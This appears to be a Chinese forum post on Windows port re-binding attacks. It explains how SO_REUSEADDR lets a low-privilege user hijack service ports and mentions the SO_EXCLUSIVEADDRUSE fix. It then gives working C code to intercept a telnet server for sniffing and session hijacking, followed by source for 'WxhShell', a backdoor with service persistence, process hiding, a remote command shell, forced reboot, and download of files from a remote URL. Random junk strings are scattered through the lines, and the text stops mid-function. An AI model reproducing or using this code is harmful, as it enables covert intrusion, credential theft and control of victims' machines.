社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9189阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ig>(m49d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZPYS$Ydy  
C;^X[x%h7$  
  saddr.sin_family = AF_INET; ~Z' ?LV<t  
c{w2Gt!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qlPT Ll  
Z4ImV~m  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $6poFo)U+  
f ) L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >~0Z& d  
Mb*?5R6;  
  这意味着什么?意味着可以进行如下的攻击: t"oeQ*d%  
92oFlEJ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8KzkB;=n  
lrIe"H@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L.JT[zOfb  
e+fN6v5pU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1bwOm hkS  
^^ixa1H<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  CRy|kkT  
j?4qO]_Wx+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5`p.#  
uoh7Sz5!^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;9QEK]@  
p9-K_dw3X@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 AFwdJte9e  
uQKT  
  #include YPI-<vM~  
  #include O0H.C0}  
  #include  z+X}HL  
  #include    b@hqz!)l`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   '!B&:X)  
  int main() Ml-6OvQ7g  
  { Ab.(7GFK  
  WORD wVersionRequested; $/Uq0U  
  DWORD ret;  a0)QH  
  WSADATA wsaData; (CWtLi"z  
  BOOL val; \:LW(&[!  
  SOCKADDR_IN saddr; inp7K41  
  SOCKADDR_IN scaddr; s6`?LZ0(z  
  int err; /od@!/  
  SOCKET s; FGBbO\< /  
  SOCKET sc; dioGAai'  
  int caddsize; O5BYD=7  
  HANDLE mt;  O*P.]d  
  DWORD tid;   5*u+q2\F  
  wVersionRequested = MAKEWORD( 2, 2 ); xr^LFn)  
  err = WSAStartup( wVersionRequested, &wsaData ); E|shs=I  
  if ( err != 0 ) { 8P\Zo8}v  
  printf("error!WSAStartup failed!\n"); `C'H.g\>2Q  
  return -1; j8:\%|  
  } J\=*#*rJ1  
  saddr.sin_family = AF_INET; +] {G@pn  
   &s>Jb?_5Mx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S)"Jf?  
,f?*{Q2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {(Es(Sb}c  
  saddr.sin_port = htons(23); YKK*ER0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XfIJ4ZM5  
  { Ar#(psU  
  printf("error!socket failed!\n"); Y"$xX8o  
  return -1; b4Ekqas  
  } 6[AL|d DK  
  val = TRUE; KLk~Y0$:v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [AJJSd/:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nQ3A~ ()  
  { :e+jU5;]3  
  printf("error!setsockopt failed!\n"); 42ge3>  
  return -1; <qt|d&  
  } +R75v)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )NT*bLRPQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }"%N4(Kd  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &=mtc%mL  
6j|{`Zd)G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )%fH(ns(  
  { (S Yln>o  
  ret=GetLastError(); goWuw}?  
  printf("error!bind failed!\n"); 2y1Sne=<Kb  
  return -1; lr&a;aZp  
  } V>rU.Mp QU  
  listen(s,2); AFt s(  
  while(1) %E;'ln4h&,  
  { _7y[B&g[r  
  caddsize = sizeof(scaddr); #~=Ry H  
  //接受连接请求 \o3gKoL%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m+$VVn3Z}  
  if(sc!=INVALID_SOCKET) <9b &<K:  
  { t"I77aZ$A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1X1dG#:  
  if(mt==NULL) *|HY>U.  
  { eS){1  
  printf("Thread Creat Failed!\n");  C9)@jK%  
  break; E=O\0!F|b  
  } J] r^W)O  
  } bpa?C  
  CloseHandle(mt); <(!:$  
  } |k00Z+O(  
  closesocket(s); z\4.Gm-  
  WSACleanup(); ;q>ah!"k  
  return 0; 1G`Pmh@  
  }   <wHP2|<l*  
  DWORD WINAPI ClientThread(LPVOID lpParam) }Ou}+^Bc  
  { +LJ73 !  
  SOCKET ss = (SOCKET)lpParam; bW+:C5'  
  SOCKET sc; L-&\\{ X  
  unsigned char buf[4096]; _,*r_D61S  
  SOCKADDR_IN saddr; KqP#6^ _  
  long num; )=(kBWM  
  DWORD val; M869MDo  
  DWORD ret; G^@5H/)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M)(DZ}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Z4bNV?OH  
  saddr.sin_family = AF_INET; "$vRMpW:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0<*<$U  
  saddr.sin_port = htons(23); Vi|#@tC'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {Y1Ck5  
  { tpx2 IE  
  printf("error!socket failed!\n"); HjwE+:w  
  return -1; b7ZSPXV  
  } NwfVL4Xg  
  val = 100; `@yp+8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PQE =D0  
  { DVeE1Q  
  ret = GetLastError(); A]3k4DLYS  
  return -1; \GU<43J2uo  
  } iU:cW=W|M\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !bP@n  
  { {K!)Ss  
  ret = GetLastError(); V28M lP  
  return -1; yIE!j %u  
  } IAyp2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >@Kx>cg+  
  { 5 IpDeJ$  
  printf("error!socket connect failed!\n"); -tU'yKhn  
  closesocket(sc); ?&uu[y  
  closesocket(ss); =i3n42M#  
  return -1; !ubD/KE  
  } lmhLM. 2  
  while(1) 2 ? 4!K.  
  { \}G^\p6?M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gI`m.EH}}N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >.D4co>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u]G\H!Wk Q  
  num = recv(ss,buf,4096,0); H%{+QwzZ[j  
  if(num>0) 2>59q$ |  
  send(sc,buf,num,0); JsS-n'gF'  
  else if(num==0) ^kSqsT"  
  break; 0IWf!Sk ]  
  num = recv(sc,buf,4096,0); Gp\ kU:}&  
  if(num>0) Kf-JcBsrT  
  send(ss,buf,num,0); 7x8  yxE  
  else if(num==0) (QiAisE  
  break; MfkN]\Jyw  
  } kSo"Ak!  
  closesocket(ss); DIUjn;>k8  
  closesocket(sc); o,wUc"CE  
  return 0 ; 7mfS*aCb  
  } $`'/+x"%  
M'l ;:  
OB}Ib]  
========================================================== #,v {Ihn  
.o}v#W+st  
下边附上一个代码,,WXhSHELL wS3'?PRX  
a09<!0Rp  
========================================================== 9Gz=lc[!7  
#Rr%:\*  
#include "stdafx.h" `wU!`\  
XB5DPx  
#include <stdio.h> \.}c9*)  
#include <string.h> x$(f7?s] 1  
#include <windows.h> 8a"%0d#  
#include <winsock2.h> xe$_aBU  
#include <winsvc.h> 6d~'$<5on  
#include <urlmon.h> n._-! WI  
N4HqLh23H  
#pragma comment (lib, "Ws2_32.lib") @|T'0_'  
#pragma comment (lib, "urlmon.lib") Z$? #  
h@wgd~X9  
#define MAX_USER   100 // 最大客户端连接数 HkVB80hv  
#define BUF_SOCK   200 // sock buffer Jfl!#UAD|n  
#define KEY_BUFF   255 // 输入 buffer 7cMv/g^ h@  
uXl3k:_n  
#define REBOOT     0   // 重启 An/|+r\  
#define SHUTDOWN   1   // 关机 >c}u>]D  
AkiDL=;w  
#define DEF_PORT   5000 // 监听端口 ;xn0;V'=  
J4U1t2@)9  
#define REG_LEN     16   // 注册表键长度 [opGZ`>)j"  
#define SVC_LEN     80   // NT服务名长度 ;]:@n;c\  
caX< n>  
// 从dll定义API h!9ei6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _u9Jxw?F@Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }l9llu   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _PR4`C*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )Xyn q(  
Yz)qcU  
// wxhshell配置信息 J<lO= +mg  
struct WSCFG { oe~b}:  
  int ws_port;         // 监听端口 f(7GX3?  
  char ws_passstr[REG_LEN]; // 口令 ~flV`wy$$1  
  int ws_autoins;       // 安装标记, 1=yes 0=no Fv`,3aNB  
  char ws_regname[REG_LEN]; // 注册表键名 cQ_Hp <D  
  char ws_svcname[REG_LEN]; // 服务名 "5$B>S(Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UJ6v(:z <  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eb$#A _m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lqpp)Cq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &PtJ$0%q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "@8li^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IMONgFBS  
'@P^0+B!(.  
}; +m,yA mEEd  
2^yU ~`#  
// default Wxhshell configuration iO; 7t@]-  
struct WSCFG wscfg={DEF_PORT, 8DaL,bi*.  
    "xuhuanlingzhe", %ULr8)R;  
    1, Dv`c<+q(#  
    "Wxhshell", R@rBEW&  
    "Wxhshell", d m%8K6|  
            "WxhShell Service", ;i:d+!3XwC  
    "Wrsky Windows CmdShell Service", R ViuJ;  
    "Please Input Your Password: ", }*"p?L^p{  
  1, "g8M0[7e3  
  "http://www.wrsky.com/wxhshell.exe", X!g#T9kG  
  "Wxhshell.exe" L_iFt!  
    }; 7. ;3e@s  
y"wShAR  
// 消息定义模块 -z(+//K:#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )w%!{hn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;sFF+^~L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S|+o-[e8O  
char *msg_ws_ext="\n\rExit."; 4H]L~^CD  
char *msg_ws_end="\n\rQuit."; .#pU=v#/[  
char *msg_ws_boot="\n\rReboot..."; UW EV^ &"x  
char *msg_ws_poff="\n\rShutdown..."; t\ewHZG"  
char *msg_ws_down="\n\rSave to "; VyGJ=[ ]  
N ZSSg2TX#  
char *msg_ws_err="\n\rErr!"; UFuX@Lu0  
char *msg_ws_ok="\n\rOK!"; $iz|\m  
4+ Z]3oIRE  
char ExeFile[MAX_PATH]; 5/Uy{Xt  
int nUser = 0; 0{R=9wcc  
HANDLE handles[MAX_USER]; '2^Q1{ :\  
int OsIsNt; 6)Lk-D  
:9 ^* ^T  
SERVICE_STATUS       serviceStatus; cYt!n5w~W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `PH{syz  
VW4r{&rS  
// 函数声明 B^9j@3Ux  
int Install(void); czd~8WgOa  
int Uninstall(void); Th%Sjgsn  
int DownloadFile(char *sURL, SOCKET wsh); y'*K|a TG  
int Boot(int flag); | Xy6PN8  
void HideProc(void); 4{`{WI{  
int GetOsVer(void); =rX>.P%Q5  
int Wxhshell(SOCKET wsl); #;nYg?d=  
void TalkWithClient(void *cs); '`KY! ]L  
int CmdShell(SOCKET sock); XpJ7o=?W3  
int StartFromService(void); V~5jfcd  
int StartWxhshell(LPSTR lpCmdLine); aw42oLk  
D,FkB"ZZE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wAW5 Z0D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?5 7Sk+  
I2 P@L?h  
// 数据结构和表定义 o`*,|Nsq  
SERVICE_TABLE_ENTRY DispatchTable[] = D}X\Ca"h  
{ 8-77d^cprR  
{wscfg.ws_svcname, NTServiceMain}, w+CA1q<  
{NULL, NULL} n7-6- #  
}; <e</m)j  
B`J~^+`[*  
// 自我安装 {{p7 3 'u  
int Install(void) Ciz X<Cr}  
{ 3/n5#&c\4  
  char svExeFile[MAX_PATH]; Jze:[MYS  
  HKEY key; RrQJ/ts7}  
  strcpy(svExeFile,ExeFile); )P|),S,;Z  
"LTad`]<Ro  
// 如果是win9x系统,修改注册表设为自启动 s!7y  
if(!OsIsNt) { BR yl4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }U"&8%PZr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W:L AP R  
  RegCloseKey(key); WI-1)1t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '1s0D]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :Fvrs( x  
  RegCloseKey(key); YcpoL@ab  
  return 0; ;;N9>M?b  
    } OpYY{f  
  } j  e P  
} g7W"  
else { |8tilOqI  
I&W=Q[m  
// 如果是NT以上系统,安装为系统服务 hx]?&zT@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N[ Og43Y  
if (schSCManager!=0) A2jUmK.&  
{ q5)O%l!  
  SC_HANDLE schService = CreateService :&9s,l   
  ( DlMW(4(  
  schSCManager, 81 sG  
  wscfg.ws_svcname, v,>Dbxn  
  wscfg.ws_svcdisp, @t_=Yl2;  
  SERVICE_ALL_ACCESS, 'AH0ww_)n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DN57p!z  
  SERVICE_AUTO_START, o:Sa, !DK  
  SERVICE_ERROR_NORMAL, Fy-t T]Q9  
  svExeFile, HRfYl,S,  
  NULL, wEvVL  
  NULL, P me^l%M  
  NULL, |4 0`B% Z  
  NULL, UrEs4R1#  
  NULL + @s"zp;F  
  ); O[JL+g4  
  if (schService!=0) bAtSVu  
  { 7! INkH]  
  CloseServiceHandle(schService); 5taT5?n2  
  CloseServiceHandle(schSCManager); 7\Y0z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -z%^)VE  
  strcat(svExeFile,wscfg.ws_svcname); ExL0?FemWV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L>4"(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -4{<=y?"a  
  RegCloseKey(key); LuvY<~u  
  return 0; (V67`Z )  
    } .jjG(L  
  } H ]Z$OpI  
  CloseServiceHandle(schSCManager); P:MT*ra*,  
} t=W}SH  
} mSl.mi(JiZ  
Trz@~d/[,n  
return 1; ok\vQs(a  
} hy"\RW  
0[?Xxk}s0  
// 自我卸载 A@{PZ   
int Uninstall(void) PP33i@G  
{ @YTaSz$L  
  HKEY key; 9 X`Sm}i  
a'yK~;+_9  
if(!OsIsNt) { Ls+2Zbh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Iom'Y@x  
  RegDeleteValue(key,wscfg.ws_regname); 30T)!y  
  RegCloseKey(key); Gm^U;u}=f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q ,]L$  
  RegDeleteValue(key,wscfg.ws_regname); 4yA+ h2  
  RegCloseKey(key); 0rs"o-s<  
  return 0; N]=q|D  
  } j/c&xv 7=  
} Sp]0c[37R  
} eiaFaYe\  
else { XW)lDiJl  
hH8oyIC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  < !C)x  
if (schSCManager!=0) ['tY4$L(  
{ SP_75BJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F8,RXlGfA[  
  if (schService!=0) ,G?WAOy,  
  { lE(HFal0-(  
  if(DeleteService(schService)!=0) { /dI&o,sA  
  CloseServiceHandle(schService); (m(JK^  
  CloseServiceHandle(schSCManager); T;a}#56{^  
  return 0; ~H<6gN<j(.  
  } +.b,AqJ/  
  CloseServiceHandle(schService); .2Elr(&*h  
  } H;k~oIs k  
  CloseServiceHandle(schSCManager); 3<f}nfB%r?  
} Ad9}9!<  
} ZI}Fom<  
l'E*=Rn  
return 1; paE[rS\  
} 3J|F?M"N7  
}?_?V&K|  
// 从指定url下载文件 4-y :/8  
int DownloadFile(char *sURL, SOCKET wsh) By",rD- r  
{ RmeD$>7  
  HRESULT hr; SBk4_J/_  
char seps[]= "/"; u$Jz~:=,  
char *token; .|>3k'<l  
char *file; #:U%mHT(_  
char myURL[MAX_PATH]; )e=D(qd  
char myFILE[MAX_PATH]; Em !/a$  
' ;FnIZ  
strcpy(myURL,sURL); U- (01-  
  token=strtok(myURL,seps); Kaqc74Mv  
  while(token!=NULL) Vl=l?A8  
  { a;qryUyG  
    file=token; =M [bnq*\  
  token=strtok(NULL,seps); PQSP&  
  } jTtu0Q|  
Q}K"24`=  
GetCurrentDirectory(MAX_PATH,myFILE); b;W3j   
strcat(myFILE, "\\"); &4x}ppX  
strcat(myFILE, file); 0#s"e}@v  
  send(wsh,myFILE,strlen(myFILE),0); )|R)Q6UJ  
send(wsh,"...",3,0); /1V xc 6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :B5Fdp3  
  if(hr==S_OK) RVA (Q[ ;  
return 0; Val|n*%  
else 6"5A%{ J  
return 1; p\tm:QWD;  
03qQ'pq  
} r Iu$pZO  
Ls$D$/:q?  
// 系统电源模块 N06OvU2>xU  
int Boot(int flag) %G/ hD  
{ ^?7-r6  
  HANDLE hToken; (pCrmyB  
  TOKEN_PRIVILEGES tkp; FQ7T'G![  
< #}5IQ5`Z  
  if(OsIsNt) { ~IfJwBn-i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =9boya,>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aFb==73aLw  
    tkp.PrivilegeCount = 1; .B]MpmpK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bz2ztH9 n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i$:*Pb3mV  
if(flag==REBOOT) { v6M6>&RR|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *K6g\f]b#  
  return 0; Fa Qe_;  
} L~rBAIdD  
else { vrhT<+q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +_?hK{Ib"  
  return 0; H z1%x  
} t?x<g<PJ4  
  } rq/yD,I,  
  else { r6MMCJ|G  
if(flag==REBOOT) { ;4^Rx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kHghPn?8]  
  return 0; 0w \zLU  
} 7Oa#c<2]  
else { 9N%We|L,c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n.`($yR_  
  return 0; 7$vYo _  
} \FbvHr,  
} :0j?oY~e  
,.83m%i  
return 1; LqoB 10Kc\  
} jk; clwyz/  
+,T RfP Fb  
// win9x进程隐藏模块 @uqd.Q  
void HideProc(void) ?wiC Q6*$  
{ (cAIvgI  
h5{'Q$Erl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1MP~dRZ$  
  if ( hKernel != NULL ) MSQEO4ge  
  { zl>nSndRE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !*F1q|R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W#4 7h7M  
    FreeLibrary(hKernel); @;zl  
  } \ =?a/  
cz#rb*b  
return; +qtJaYf/0  
} (lBCO?`fx  
(>UZ<2GPL  
// 获取操作系统版本 2\A$6N ;_  
int GetOsVer(void) UUYSFa %  
{ axv>6k  
  OSVERSIONINFO winfo; ENl)Ts`y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JIEK*ui  
  GetVersionEx(&winfo); uB]7G0g:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $<dH?%!7  
  return 1; $Uq|w[LA  
  else :t"^6xt  
  return 0; G6q }o)[m)  
} fn jPSts0  
F 5bj=mI  
// 客户端句柄模块 n71r_S*  
int Wxhshell(SOCKET wsl) gq4Tb c oA  
{ ?K$(817  
  SOCKET wsh; M)J5;^["  
  struct sockaddr_in client; NR 5gj-B[  
  DWORD myID; =1FRFZI!j  
o lR?n(v  
  while(nUser<MAX_USER) q 6:dy  
{ :}L[sl\R  
  int nSize=sizeof(client); U8s2|G;K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !=*g@mgF  
  if(wsh==INVALID_SOCKET) return 1; T] f ;km  
?Ny9'g>?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9N#_( uwt  
if(handles[nUser]==0) 0rQMLx  
  closesocket(wsh); E<{ R.r  
else <.x{|p  
  nUser++; Thp[+KP>  
  } !1jBC.G1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v+W&9>  
)al]*[lY  
  return 0; -]N x,{  
} 9tU]`f  
.KB^3pOpx  
// 关闭 socket 2@n{yYwy  
void CloseIt(SOCKET wsh) [`#CXq'  
{ O%WIf__Q  
closesocket(wsh); 1![!+X:w  
nUser--; dc+>m,3$  
ExitThread(0); !fV+z%:  
} Avge eJi  
O W_{$9U  
// 客户端请求句柄 |PvPAPy)uu  
void TalkWithClient(void *cs) vONasD9At  
{ .wEd"A&j  
*<$*"p  
  SOCKET wsh=(SOCKET)cs; ttaM.  
  char pwd[SVC_LEN]; aq>kTaz  
  char cmd[KEY_BUFF]; & TCkpS  
char chr[1]; zq 3\}9  
int i,j; }kw#7m54  
B+|Kjlt  
  while (nUser < MAX_USER) { DTX0  
afCW(zH p  
if(wscfg.ws_passstr) { yJ[0WY8<kC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QGMV}y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <O(4TO  
  //ZeroMemory(pwd,KEY_BUFF); |%BOZT  
      i=0; e[{0)y>=  
  while(i<SVC_LEN) { fF!Yp iI"  
h/QXPdV  
  // 设置超时 qJf?o.Pv  
  fd_set FdRead; po c`q5i+  
  struct timeval TimeOut; z 4e7PW|  
  FD_ZERO(&FdRead); aG-vtld  
  FD_SET(wsh,&FdRead); $f$SNx)),  
  TimeOut.tv_sec=8; f%A;`4 `q  
  TimeOut.tv_usec=0; lne|5{h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]vB$~3||  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pE3?"YO  
o3XvRj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @JiLgIe `  
  pwd=chr[0]; 0.Q Ujw  
  if(chr[0]==0xd || chr[0]==0xa) { %HhBt5w  
  pwd=0; pN, u`[  
  break; +N]J5Ve-`t  
  } +WZX.D  
  i++; k`cfG\;r  
    } ^L,K& Jd  
=bAx,,D#  
  // 如果是非法用户,关闭 socket ]"pVj6O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }g@v`5  
} dUD[e,?  
WSP I|#Xr%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "syI#U{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n.}ZkG0`  
7RQR)DG  
while(1) { "-E\[@/  
&.F4 b~A7  
  ZeroMemory(cmd,KEY_BUFF); `{8K.(])s!  
nd`1m[7MNu  
      // 自动支持客户端 telnet标准   FBG4pb9=~  
  j=0; K$z2YJ%  
  while(j<KEY_BUFF) { DVO.FTV^`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j\ZXG=j  
  cmd[j]=chr[0];  > ^O7  
  if(chr[0]==0xa || chr[0]==0xd) { \Zb;'eDv  
  cmd[j]=0; !@5 9)  
  break; [ XN={  
  } NYhB'C2  
  j++; RV1coC.g4x  
    } i}(LqcYU  
Do9x XK  
  // 下载文件 M.JA.I@XC  
  if(strstr(cmd,"http://")) { `T1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g%aYDl  
  if(DownloadFile(cmd,wsh)) W PC]%:L"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .zf~.R;>  
  else gZVc 5u<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &L3M]  
  } "6A ` q\  
  else { {aZ0;  
RCJ|P~*  
    switch(cmd[0]) { IM*y|UHt  
  g/4[N{Xf  
  // 帮助 T%+ #xl  
  case '?': { \-E^lIVF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ??5Q)Erm1  
    break; pG_;$8Hc  
  } k``_EiV4t  
  // 安装 yER(6V'\iQ  
  case 'i': { >k|5Okq g  
    if(Install()) ]43/`FX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L]7=?vN=8  
    else />C^WQI^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +8T?{K  
    break; "%)qRe  
    } \Zk;ikEY  
  // 卸载 cUk7i`M;6  
  case 'r': { `Uq#W+r,  
    if(Uninstall()) vN}#Kc\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O}gV`q;  
    else #x@$ lc=k3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eNh39er  
    break; ^+ml5m  
    } t6rRU~;}  
  // 显示 wxhshell 所在路径 KA5v+~  
  case 'p': { _r#Z}HK  
    char svExeFile[MAX_PATH]; qyb?49I  
    strcpy(svExeFile,"\n\r"); H;mSkRD3N  
      strcat(svExeFile,ExeFile); VD AaYDi  
        send(wsh,svExeFile,strlen(svExeFile),0); "37lx;CH  
    break; v4<nI;Ux  
    } /*~EO{o  
  // 重启 $B+8Of  
  case 'b': { PJ')R:e,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SZ7:u895E  
    if(Boot(REBOOT)) ME$[=?7XX  
